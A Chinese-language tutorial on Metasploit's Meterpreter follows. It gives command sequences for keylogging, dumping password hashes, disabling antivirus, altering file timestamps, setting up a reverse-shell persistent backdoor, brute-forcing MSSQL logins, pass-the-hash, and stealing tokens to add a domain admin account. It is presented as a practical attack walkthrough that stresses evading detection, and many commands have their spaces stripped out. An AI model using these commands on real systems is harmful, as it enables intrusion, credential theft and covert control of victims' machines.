Meterpreter 簡述

Metasploit是Windows系統下的ShellCode—meterpreter!


MetasploitFramework是一個緩衝區溢出測試使用的輔助工具,也可以說是一個漏洞利用和測試平臺,它集成了各種平臺上常見的溢出漏洞和流行的shellcode,並且不斷更新,使得緩衝區溢出測試變的方便和簡單。


exploit是指“漏洞及其利用”,其利用一切可以利用的工具、採取一切可以採取的方法、找到一切可以找到的漏洞。並且對漏洞資料的分析研究,達到某些目的。


metasploit工具的主頁是http://www.measoloit.com

metasploit框架的下載地址是:http://www.metasploit.com/framework/download


在Backtrack5裏面自帶的溢出工具內,在得到溢出的結果後,我們都可以在進行溢出連接時得到一個meterpreter的會話

113034514.jpg


Meterpreter的特徵

meterpreter是metasploit框架中的一個擴展模塊,作爲溢出成功以後的***載荷使用,***載荷在溢出***成功以後給我們返回一個控制通道。使用它作爲***載荷能夠獲得目標系統的一個meterpretershell的鏈接。

meterpretershell作爲***模塊有很多有用的功能,比如添加一個用戶、隱藏一些東西、打開shell、得到用戶密碼、上傳下載遠程主機的文件、運行cmd.exe、捕捉屏幕、得到遠程控制權、捕獲按鍵信息、清除應用程序、顯示遠程主機的系統信息、顯示遠程機器的網絡接口和IP地址等信息

另外meterpreter能夠躲避***檢測系統。在遠程主機上隱藏自己,它不改變系統硬盤中的文件,因此HIDS[基於主機的***檢測系統]很難對它做出響應。此外它在運行的時候系統時間是變化的,所以跟蹤它或者終止它對於一個有經驗的人也會變得非常困難。

最後,meterpreter還可以簡化任務創建多個會話。可以來利用這些會話進行***



meterpreter工作的好處:
1、不創建進程(使用的內存注入方式)
2、meterpreter是一個解釋器加載各種***命令
3、工作在被***進程的上下文中
4、通信是加密的(TLV協議),可以躲避IDS
5、沒有硬盤寫入操作
6、使用的通信方式是信道模式,可以同時和幾個信道工作,支持多信道
7、支持擴展編寫



meterpreter工作過程:
1、漏洞的利用代碼+第一階段的***載荷
2、***載荷反向連接到msf
3、發送第二階段的***載荷
dMSF發送meterpreter服務器dll
4、客戶端和服務器進行通信



常用的系統命令:
background把當前的會話設置爲背景,需要的時候在啓用
getuid查看對方正在運行的用戶
ps列出所有的進程
getpid返回運行meterpreter的id號
sysinfo產看系統信息和體系結構
shell切換到cmd的系統權限方式
exit退出shell會話返回meterpreter或終止meterpreter



進程遷移和提權:
getsystem會自動利用各種各樣的系統漏洞來進行權限提升
migrate進程id進程遷移



和目標建立多重通信的信道:
excute用來啓用多重通信信道
excute-fexploit.exe-c
channel-l列出可用通信信道
interact和信道進行交互(獲得cmd)
write3向信道寫入數據,以‘.’結束




常用的文件系統的命令:
pwd產看當前所在的工作目錄
cd切換到想要的工作目錄
search-f*.dof-dc:\搜索文件
download支持文件下載
downloadc:\a.doc/root下載到本地的root目錄
upload/root/mm.exec:\sys.exe上傳到遠程主機
timestomp更改文件屬性
timestompc:/a.doc-v查看文件的時間信息。
timestompc:/a.doc-c"9/23/201314:22:11"修改文件的創建時間
-m,-a文件的修改時間和最後一次訪問的時間。
-z修改所有時間,儘量不要用。
-v查看





常用的網絡命令:
ipconfig查看ip配置
route顯示路由表,也可以配置ip地址。和linux方法一樣
routeaddip地址掩碼網關
portfwd做端口轉發的時候用的
portfwd-a-L127.0.0.1-l888-h7.6.5.4-p5631
-a添加一個新的轉發規則
-L目標主機的IP地址
鏈接127.0.0.1的888端口,會被轉發到7.6.5.4的5631端口
enumdesktops是列出所有可訪問的桌面
getdesktop返回用戶的桌面
setdesktop設置到某個會話的桌面
keyscan_start安裝鍵盤竊聽器
keyscan_dump導出活躍桌面的鍵盤記錄
關於windows的桌面的編號0控制檯12其他會話或遠程登陸。




Meterpreter腳本:

使用runscriptname方式執行

①vnc腳本,獲取遠程機器vnc界面控制
meterpreter>runvnc
meterpreter>runscreen_unlock

②進程遷移
當***成功後將連接進程從不穩定進程(如使用瀏覽器溢出漏洞exp進行***時瀏覽器
可能會被目標關閉)遷移至穩定進程(explorer.exe),保持可連接。
例子:
meterpreter>runpost/windows/manage/migrate
(在64位win7中migrate需要管理員權限執行後門才能成功,而migrate前後獲取的
權限是有差異的。)

③關閉殺毒軟件
meterpreter>runkillav(這個腳本要小心使用,可能導致目標機器藍屏死機。)

④獲取系統密碼hash
meterpreter>runhashdump
(64位win7下需要管理員權限執行後門且先getsystem,然後使用
runpost/windows/gather/hashdump來dumphash成功率更高。
而且如果要使用shell添加系統賬戶的話win7下得先:
runpost/windows/escalate/bypassuac,不然可能不會成功。)

⑤獲取系統流量數據
meterpreter>runpacktrecorder–i1

⑥直搗黃龍
可以幹很多事情:獲取密碼,下載註冊表,獲取系統信息等
meterpreter>runscraper

⑦持久保持
當目標機器重啓之後仍然可以控制
meterpreter>runpersistence–X–i50–p443–r192.168.1.111
-X開機啓動-i連接超時時間–p端口–rIP
下次連接時:
msf>usemulti/handler
setpayloadwindows/meterpreter/reverse_tcp
setLPOST443
setLHOST192.168.1.111
exploit
(會在以下位置和註冊表以隨機文件名寫入文件等信息,如:
C:\Users\YourtUserName\AppData\Local\Temp\MXIxVNCy.vbs
C:\Users\YourtUserName\AppData\Local\Temp\radF871B.tmp\svchost.exe
HKLM\Software\Microsoft\Windows\CurrentVersion\Run\DjMzwzCDaoIcgNP)

⑧POST整合模塊
可實現同時多個session操作
例子:獲取hash
meterpreter>runpost/windows/gather/hashdump
其他還有很多,使用TAB鍵補全看下就知道runpost/<TAB>



112651101.jpg


當對目標系統進行溢出時,使用meterpreter作爲payload,給測試者返回一個shell,可用於在目標機器上執行更多的操作。
例子:
msf>nmap–sT–A–P0192.168.1.130#探測開放服務
假如已經探測到1433(TCP)和1434(UDP)端口(mssql),
msf>nmap–sU192.168.1.130–P1434#確認端口開放
msf>useauxiliary/scanner/mssql/mssql_ping
showoptions
setRHOSTS192.168.1.1/24
setTHREADS20
exploit

至此可獲取服務器名稱,版本號等信息。
msf>useauxiliary/scanner/mssql/mssql_login
showoptions
setPASS_FILE/pentest/exploits/fasttrack/bin/dict/wordlist.txt
setRHOSTS192.168.1.130
setTHREADS10
setverbosefalse
exploit
暴力猜解登陸密碼。接下來使用mssql自帶的xp_cmdshell功能添加賬戶:
msf>useexploit/windows/mssql/mssql_payload
showoptions
setpayloadwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT433
setRHOST192.168.1.130
setPASSWORDpassword130
exploit
當獲取到一個meterpretershell後可以執行更多的操作:
獲取屏幕截圖:screenshot
獲取系統信息:sysinfo
獲取鍵盤記錄:
meterpreter>ps#查看目標機器進程,假設發現explorer.exe的進程號爲1668:
meterpreter>migrate1668#插入該進程
meterpreter>runpost/windows/capture/keylog_recorder#運行鍵盤記錄模塊,將擊鍵記錄保存到本地txt
cat/root/.msf3/loot/*****.txt#查看結果
獲取系統賬號密碼:
meterpreter>usepriv
meterpreter>runpost/windows/gather/hashdump
當獲取到密碼的hash之後無法破解出明文密碼且無法直接使用hash登陸,需要使用
pass-the-hash技術:
msf>usewindows/smb/psexec
setPAYLOADwindows/meterpreter/reverse_tcp
setLHOST192.168.1.111
setLPORT443
setRHOST192.168.1.130
setSMBPassaad
3b435b51404eeaad3b435b51404ee:b75989f65d1e04af7625ed712ac36c29
exploit
獲取到系統權限後我們可以新建一個普通賬號,然後使用此賬號執行我們的後門:
在目標機器上執行:netuaerhackerpass/add
本地生成一個後門程序:
msfpayloadwindows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443X>payload.exe
將payload.exe拷貝到目標機器然後使用新建立的賬號執行

本地執行端口監聽,等待來自目標機器連接:
msfclimulti/handlerPAYLOAD=windows/meterpreter/reverse_tcp
LHOST=192.168.1.111
LPORT=443
usepriv
getsystem
getuid
至此取得SYSTEM權限



令牌模擬:當有域控賬戶登陸至服務器時可使用令牌模擬進行***取得域控權限,之後
登陸其他機器時不需要登陸密碼。
meterpreter>ps#查看目標機器進程,找出域控賬戶運行的進程ID,假如發現PID爲380
meterpreter>steal_token380
有時ps命令列出的進程中可能不存在域控賬戶的進程,此時使用incognito模塊查看可
用token:
meterpreter>useincognito
meterpreter>list_tokens–u#列出可用token,假如找到域控token
meterpreter>impersonate_tokenSNEAKS.IN\\ihazdomainadmin
meterpreter>add_userhackerpassword–h192.168.1.50#在域控主機上添加賬戶
meterpreter>add_group_user“DomainAdmins”hacker–h192.168.1.50#將賬戶添加至
域管理員組





發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章